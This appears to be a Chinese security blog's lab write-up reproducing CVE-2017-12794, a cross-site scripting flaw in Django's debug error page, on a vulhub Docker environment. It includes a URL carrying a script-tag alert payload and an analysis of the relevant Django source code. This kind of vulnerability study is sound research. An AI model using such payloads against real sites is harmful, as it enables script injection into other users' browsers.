Damn1t
for you I bleed myself dry
FRIENDS
baidu

CVE-2017-12794

2020-01-16 cve

Django debug page XSS漏洞(CVE-2017-12794)

利用vulhub上的环境

复现

编译及启动环境:

1
2
docker-compose build
docker-compose up -d

访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>创建一个用户,成功

再次访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>,触发异常:

Postgres抛出的异常为:

1
2
duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(1)</script>) already exists.

这个异常被拼接进

1
The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception

最后触发XSS。

分析

在官方库中有如下描述:

In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn’t affect most production sites since you shouldn’t run with “DEBUG = True” (which makes this page accessible) in your production settings.

在调试模板中关闭了html的自动转义,但官方认定危害不大,因为在生产环境中不应该设置:DEBUG = True

查看官方的django/views/debug.py修改记录,发现增加了强制转义:

如果要触发这两个输出点,就必须进入这个if语句:

1
{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}

注意到The above exception was the direct cause of the following exception这句话,一般是在出现数据库异常的时候,会抛出这样的错误语句。

查看django/db/utils.py__exit__函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def __exit__(self, exc_type, exc_value, traceback):
if exc_type is None:
return
for dj_exc_type in (
DataError,
OperationalError,
IntegrityError,
InternalError,
ProgrammingError,
NotSupportedError,
DatabaseError,
InterfaceError,
Error,
):
db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
if issubclass(exc_type, db_exc_type):
dj_exc_value = dj_exc_type(*exc_value.args)
dj_exc_value.__cause__ = exc_value
if not hasattr(exc_value, '__traceback__'):
exc_value.__traceback__ = traceback
# Only set the 'errors_occurred' flag for errors that may make
# the connection unusable.
if dj_exc_type not in (DataError, IntegrityError):
self.wrapper.errors_occurred = True
six.reraise(dj_exc_type, dj_exc_value, traceback)

其中exc_type是异常,如果其类型是DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error之一,则抛出一个同类型的新异常,并设置其__cause____traceback__为此时上下文的exc_valuetraceback

exc_value是上一个异常的说明,traceback是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常。

最后,在500页面中,__cause__被输出。

使用Postgres数据库并触发异常的时候,psycopg2会将字段名和字段值全部抛出。那么,如果字段值中包含我们可控的字符串,又由于之前说到的,这个字符串其实就会被设置成__cause__,最后被显示在页面中。

Author: damn1t

Link: http://microvorld.com/2020/01/16/cve/CVE-2017-12794/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
CVE-2019-10758
NextPost >
DC-2
CATALOG
  1. 1. Django debug page XSS漏洞(CVE-2017-12794)
    1. 1.1. 复现
    2. 1.2. 分析